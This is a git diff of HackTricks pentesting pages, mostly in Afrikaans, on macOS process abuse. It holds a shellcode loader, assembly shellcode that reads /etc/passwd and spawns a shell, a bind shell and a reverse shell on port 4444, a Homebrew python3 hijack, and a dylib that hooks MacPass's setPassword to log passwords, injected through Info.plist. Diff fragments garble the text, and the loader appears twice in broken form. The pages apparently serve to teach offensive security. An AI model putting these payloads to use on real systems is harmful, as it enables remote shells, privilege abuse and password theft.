// gcc loader.c -o loader
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int (*sc)();
|
||||
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
|
||||
|
||||
char shellcode[] = "<INSERT SHELLCODE HERE>";
|
||||
int (\*sc)();
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
char shellcode\[] = "";
|
||||
|
||||
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
|
||||
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mmap\n");
|
||||
printf(" |-> Return = %p\n", ptr);
|
||||
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
|
||||
|
||||
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
|
||||
printf("[+] SUCCESS: memcpy\n");
|
||||
printf(" |-> Return = %p\n", dst);
|
||||
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
|
||||
|
||||
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
|
||||
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
|
||||
|
||||
if (status == -1) {
|
||||
perror("mprotect");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mprotect\n");
|
||||
printf(" |-> Return = %d\n", status);
|
||||
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
|
||||
|
||||
printf("[>] Trying to execute shellcode...\n");
|
||||
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
|
||||
|
||||
sc = ptr;
|
||||
sc();
|
||||
printf("\[>] Trying to execute shellcode...\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
sc = ptr; sc();
|
||||
|
||||
return 0; }
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
#### Skulp
|
||||
|
||||
Geneem van [**hier**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) en verduidelik.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="met adr" %}
|
||||
<div data-gb-custom-block data-tag="tabs">
|
||||
|
||||
<div data-gb-custom-block data-tag="tab" data-title='met adr'></div>
|
||||
|
||||
```armasm
|
||||
bits 64
|
||||
global _main
|
||||
|
@ -204,8 +192,8 @@ push 59 ; put 59 on the stack (execve syscall)
|
|||
pop rax ; pop it to RAX
|
||||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||
syscall
|
||||
```
|
||||
{% tab title="met stapel" %}
|
||||
````
|
||||
|
||||
```armasm
|
||||
bits 64
|
||||
global _main
|
||||
|
@ -221,12 +209,11 @@ pop rax ; pop it to RAX
|
|||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||
syscall
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Lees met kat
|
||||
**Lees met kat**
|
||||
|
||||
Die doel is om `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` uit te voer, so die tweede argument (x1) is 'n reeks van parameters (wat in die geheue 'n stapel van die adresse beteken).
|
||||
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
@ -257,7 +244,9 @@ section .data
|
|||
cat_path: db "/bin/cat", 0
|
||||
passwd_path: db "/etc/passwd", 0
|
||||
```
|
||||
#### Roep bevel met sh aan
|
||||
|
||||
**Roep bevel met sh aan**
|
||||
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
@ -295,9 +284,11 @@ sh_path: db "/bin/sh", 0
|
|||
sh_c_option: db "-c", 0
|
||||
touch_command: db "touch /tmp/lalala", 0
|
||||
```
|
||||
#### Bind skulp
|
||||
|
||||
**Bind skulp**
|
||||
|
||||
Bind skulp vanaf [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) in **poort 4444**.
|
||||
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
|
@ -372,9 +363,11 @@ mov rax, r8
|
|||
mov al, 0x3b
|
||||
syscall
|
||||
```
|
||||
#### Omgekeerde Skulp
|
||||
|
||||
**Omgekeerde Skulp**
|
||||
|
||||
Omgekeerde skulp vanaf [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Omgekeerde skulp na **127.0.0.1:4444**
|
||||
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
|
@ -436,16 +429,7 @@ mov rax, r8
|
|||
mov al, 0x3b
|
||||
syscall
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Prosesmisbruik
|
||||
# macOS Proces Abuse
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -30,16 +30,16 @@ Biblioteekinspuiting is 'n tegniek waarin 'n aanvaller 'n proses dwing om 'n ska
|
|||
|
||||
Funksiehaak behels **onderskepping van funksie-oproepe** of boodskappe binne 'n sagteware-kode. Deur funksies te haak, kan 'n aanvaller die gedrag van 'n proses **verander**, sensitiewe data waarneem, of selfs beheer oor die uitvoervloei verkry.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
|
||||
{% content-ref url="macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](macos-function-hooking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Interproseskommunikasie
|
||||
|
||||
Interproseskommunikasie (IPC) verwys na verskillende metodes waardeur afsonderlike prosesse **data deel en uitruil**. Terwyl IPC fundamenteel is vir baie wettige toepassings, kan dit ook misbruik word om prosesisolasie te omseil, sensitiewe inligting te lek, of ongemagtigde aksies uit te voer.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% content-ref url="macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Elektron-toepassingsinspuiting
|
||||
|
@ -110,6 +110,7 @@ Let daarop dat uitvoerbare lêers wat met **`pyinstaller`** saamgestel is, nie h
|
|||
{% hint style="danger" %}
|
||||
Oor die algemeen kon ek nie 'n manier vind om python willekeurige kode uit te voer deur omgewingsveranderlikes te misbruik nie.\
|
||||
Meeste mense installeer egter pyhton met **Hombrew**, wat pyhton in 'n **skryfbare ligging** vir die verstek-admin-gebruiker sal installeer. Jy kan dit oorneem met iets soos:
|
||||
|
||||
```bash
|
||||
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
cat > /opt/homebrew/bin/python3 <<EOF
|
||||
|
@ -119,6 +120,7 @@ cat > /opt/homebrew/bin/python3 <<EOF
|
|||
EOF
|
||||
chmod +x /opt/homebrew/bin/python3
|
||||
```
|
||||
|
||||
Selfs **root** sal hierdie kode hardloop wanneer python uitgevoer word.
|
||||
{% endhint %}
|
||||
|
||||
|
|
|
@ -0,0 +1,444 @@
|
|||
# macOS Function Hooking
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Funksie Interposing
|
||||
|
||||
Skep 'n **dylib** met 'n **`__interpose`**-afdeling (of 'n afdeling wat gemerk is met **`S_INTERPOSING`**) wat tuples van **funksie-aanwysers** bevat wat verwys na die **oorspronklike** en die **vervangings**-funksies.
|
||||
|
||||
Injecteer dan die dylib met **`DYLD_INSERT_LIBRARIES`** (die interposing moet plaasvind voordat die hoofprogram laai). Uiteraard geld die [**beperkings** wat op die gebruik van **`DYLD_INSERT_LIBRARIES`** van toepassing is, ook hier](macos-library-injection/#check-restrictions).
|
||||
|
||||
### Interpose printf
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="interpose.c" %}
|
||||
{% code title="interpose.c" %}
|
||||
```c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
int my_printf(const char *format, ...) {
|
||||
//va_list args;
|
||||
//va_start(args, format);
|
||||
//int ret = vprintf(format, args);
|
||||
//va_end(args);
|
||||
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
||||
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="hello.c" %}
|
||||
```c
|
||||
//gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
printf("Hello World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
// Function pointer type for the original function
|
||||
typedef int (*orig_open_type)(const char *pathname, int flags);
|
||||
|
||||
// Function pointer type for the interposed function
|
||||
typedef int (*interposed_open_type)(const char *pathname, int flags);
|
||||
|
||||
// Define the interposed function
|
||||
int interposed_open(const char *pathname, int flags) {
|
||||
printf("Interposed open called with pathname: %s\n", pathname);
|
||||
|
||||
// Get the address of the original function
|
||||
orig_open_type orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
|
||||
|
||||
// Call the original function
|
||||
int result = orig_open(pathname, flags);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// Define the constructor function
|
||||
__attribute__((constructor))
|
||||
void my_constructor() {
|
||||
printf("Constructor called\n");
|
||||
|
||||
// Get the address of the interposed function
|
||||
interposed_open_type interposed_open = (interposed_open_type)dlsym(RTLD_NEXT, "open");
|
||||
|
||||
// Get the address of the original function
|
||||
orig_open_type orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
|
||||
|
||||
// Call the interposed function
|
||||
interposed_open("file.txt", 0);
|
||||
|
||||
// Call the original function
|
||||
orig_open("file.txt", 0);
|
||||
}
|
||||
```
|
||||
|
||||
This code demonstrates how to use function hooking in macOS using the `interpose` mechanism. The `interpose` mechanism allows you to intercept and replace function calls at runtime.
|
||||
|
||||
In this example, we define an interposed function called `interposed_open` that will be called instead of the original `open` function. The `interposed_open` function simply prints the pathname argument and then calls the original `open` function.
|
||||
|
||||
To use the `interpose` mechanism, we need to define a constructor function called `my_constructor`. The constructor function is automatically called when the shared library is loaded. In the constructor function, we get the addresses of both the interposed and original `open` functions using `dlsym`. We then call the interposed function to demonstrate that it is being called instead of the original function. Finally, we call the original function to show that we can still call it if needed.
|
||||
|
||||
To compile and use this code, you can use the following commands:
|
||||
|
||||
```bash
|
||||
gcc -shared -o interpose.dylib interpose.c -ldl
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./program
|
||||
```
|
||||
|
||||
Replace `program` with the name of the program you want to run with the interposed function.
|
||||
|
||||
When you run the program, you should see the output from the interposed function followed by the output from the original function.
|
||||
|
||||
This technique can be useful for various purposes, such as logging function calls, modifying function behavior, or implementing security measures.
|
||||
|
||||
```c
|
||||
// Just another way to define an interpose
|
||||
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
||||
__attribute__((used)) static struct { \
|
||||
const void* replacement; \
|
||||
const void* replacee; \
|
||||
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
||||
(const void*) (unsigned long) &_replacement, \
|
||||
(const void*) (unsigned long) &_replacee \
|
||||
};
|
||||
|
||||
int my_printf(const char *format, ...)
|
||||
{
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
DYLD_INTERPOSE(my_printf,printf);
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
||||
Hello from interpose
|
||||
|
||||
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||||
Hello from interpose
|
||||
```
|
||||
|
||||
## Metode Swizzling
|
||||
|
||||
In ObjectiveC word 'n metode soos volg geroep: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
Die **objek**, die **metode** en die **parameters** is nodig. En wanneer 'n metode geroep word, word 'n **boodskap gestuur** deur die gebruik van die funksie **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
Die objek is **`someObject`**, die metode is **`@selector(method1p1:p2:)`** en die argumente is **value1**, **value2**.
|
||||
|
||||
Deur die objekstrukture te volg, is dit moontlik om 'n **array van metodes** te bereik waar die **name** en **pointer** na die metodekode **geleë** is.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat omdat metodes en klasse gebaseer word op hul name, hierdie inligting in die binêre lêer gestoor word, so dit is moontlik om dit te herwin met `otool -ov </path/bin>` of [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
{% endhint %}
|
||||
|
||||
### Toegang tot die rou metodes
|
||||
|
||||
Dit is moontlik om die inligting van die metodes soos naam, aantal parameters of adres te bekom, soos in die volgende voorbeeld:
|
||||
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
int main() {
|
||||
// Get class of the variable
|
||||
NSString* str = @"This is an example";
|
||||
Class strClass = [str class];
|
||||
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||
|
||||
// Get parent class of a class
|
||||
Class strSuper = class_getSuperclass(strClass);
|
||||
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||
|
||||
// Get information about a method
|
||||
SEL sel = @selector(length);
|
||||
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||
Method m = class_getInstanceMethod(strClass,sel);
|
||||
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||
|
||||
// Iterate through the class hierarchy
|
||||
NSLog(@"Listing methods:");
|
||||
Class currentClass = strClass;
|
||||
while (currentClass != NULL) {
|
||||
unsigned int inheritedMethodCount = 0;
|
||||
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||
|
||||
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||
|
||||
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||
Method method = inheritedMethods[i];
|
||||
SEL selector = method_getName(method);
|
||||
const char* methodName = sel_getName(selector);
|
||||
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||
}
|
||||
|
||||
// Free the memory allocated by class_copyMethodList
|
||||
free(inheritedMethods);
|
||||
currentClass = class_getSuperclass(currentClass);
|
||||
}
|
||||
|
||||
// Other ways to call uppercaseString method
|
||||
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||
}
|
||||
|
||||
// Using objc_msgSend directly
|
||||
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||
|
||||
// Calling the address directly
|
||||
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Metode Swizzling met method\_exchangeImplementations
|
||||
|
||||
Die funksie **`method_exchangeImplementations`** maak dit moontlik om die **adres** van die **implementering** van een funksie te **verander** na die ander.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Dus, wanneer 'n funksie geroep word, word die ander een **uitgevoer**.
|
||||
{% endhint %}
|
||||
|
||||
```objectivec
|
||||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
|
||||
// Create a new category for NSString with the method to execute
|
||||
@interface NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original method
|
||||
return [self swizzledSubstringFromIndex:from];
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Perform method swizzling
|
||||
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||
|
||||
// We changed the address of one method for the other
|
||||
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
||||
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
In hierdie geval, as die **implementasie-kode van die regmatige** metode die **metode-naam** **verifieer**, kan dit hierdie swizzling opspoor en voorkom dat dit uitgevoer word.
|
||||
|
||||
Die volgende tegniek het nie hierdie beperking nie.
|
||||
{% endhint %}
|
||||
|
||||
### Metode Swizzling met method\_setImplementation
|
||||
|
||||
Die vorige formaat is vreemd omdat jy die implementasie van 2 metodes verander, een van die ander. Deur die funksie **`method_setImplementation`** te gebruik, kan jy die implementasie van 'n metode **verander vir die ander**.
|
||||
|
||||
Onthou net om die adres van die implementasie van die oorspronklike een te **stoor** as jy dit van die nuwe implementasie gaan oproep voordat jy dit oorskryf, want later sal dit baie moeilik wees om daardie adres te vind.
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
static IMP original_substringFromIndex = NULL;
|
||||
|
||||
@interface NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original implementation using objc_msgSendSuper
|
||||
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Get the class of the target method
|
||||
Class stringClass = [NSString class];
|
||||
|
||||
// Get the swizzled and original methods
|
||||
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||
|
||||
// Get the function pointer to the swizzled method's implementation
|
||||
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||
|
||||
// Swap the implementations
|
||||
// It return the now overwritten implementation of the original method to store it
|
||||
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
// Set the original implementation back
|
||||
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Hooking Aanval Metodologie
|
||||
|
||||
Op hierdie bladsy is verskillende maniere bespreek om funksies te haker. Dit betrek egter **die uitvoering van kode binne die proses om aan te val**.
|
||||
|
||||
Om dit te doen, is die maklikste tegniek om 'n [Dyld via omgewingsveranderlikes of kaping](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md) in te spuit. Ek vermoed egter dat dit ook gedoen kan word deur [Dylib-prosesinjeksie](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
|
||||
Beide opsies is egter **beperk** tot **onbeskermde** binnerwerke/prosesse. Kyk na elke tegniek om meer te leer oor die beperkings.
|
||||
|
||||
'n Funksie-hakeraanval is egter baie spesifiek, 'n aanvaller sal dit doen om **gevoelige inligting uit 'n proses te steel** (as jy nie dit sou doen nie, sou jy net 'n prosesinjeksie-aanval doen). En hierdie gevoelige inligting kan in gebruikers afgelaaide programme soos MacPass wees.
|
||||
|
||||
Die aanvaller se vektor sou dus wees om óf 'n kwesbaarheid te vind óf die handtekening van die toepassing te verwyder, die **`DYLD_INSERT_LIBRARIES`** omgewingsveranderlike deur die Info.plist van die toepassing in te spuit en iets soos die volgende by te voeg:
|
||||
|
||||
```xml
|
||||
<key>LSEnvironment</key>
|
||||
<dict>
|
||||
<key>DYLD_INSERT_LIBRARIES</key>
|
||||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
|
||||
en registreer dan die toepassing **weer**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Voeg in daardie biblioteek die hooking-kode by om die inligting uit te skakel: Wagwoorde, boodskappe...
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat in nuwer weergawes van macOS, as jy die handtekening van die toepassingsbinêre lêer **verwyder** en dit voorheen uitgevoer is, sal macOS die toepassing **nie meer uitvoer nie**.
|
||||
{% endhint %}
|
||||
|
||||
#### Biblioteekvoorbeeld
|
||||
|
||||
```objectivec
|
||||
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
||||
|
||||
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
|
||||
|
||||
// Listen to the logs with something like:
|
||||
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
// Here will be stored the real method (setPassword in this case) address
|
||||
static IMP real_setPassword = NULL;
|
||||
|
||||
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
||||
{
|
||||
// Function that will log the password and call the original setPassword(pass, file_path) method
|
||||
NSLog(@"[+] Password is: %@", password);
|
||||
|
||||
// After logging the password call the original method so nothing breaks.
|
||||
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
||||
}
|
||||
|
||||
// Library constructor to execute
|
||||
__attribute__((constructor))
|
||||
static void customConstructor(int argc, const char **argv) {
|
||||
// Get the real method address to not lose it
|
||||
Class classMPDocument = NSClassFromString(@"MPDocument");
|
||||
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
||||
|
||||
// Make the original method setPassword call the fake implementation one
|
||||
IMP fake_IMP = (IMP)custom_setPassword;
|
||||
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||
}
|
||||
```
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,434 @@
|
|||
# macOS IPC - Inter Process Communication
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
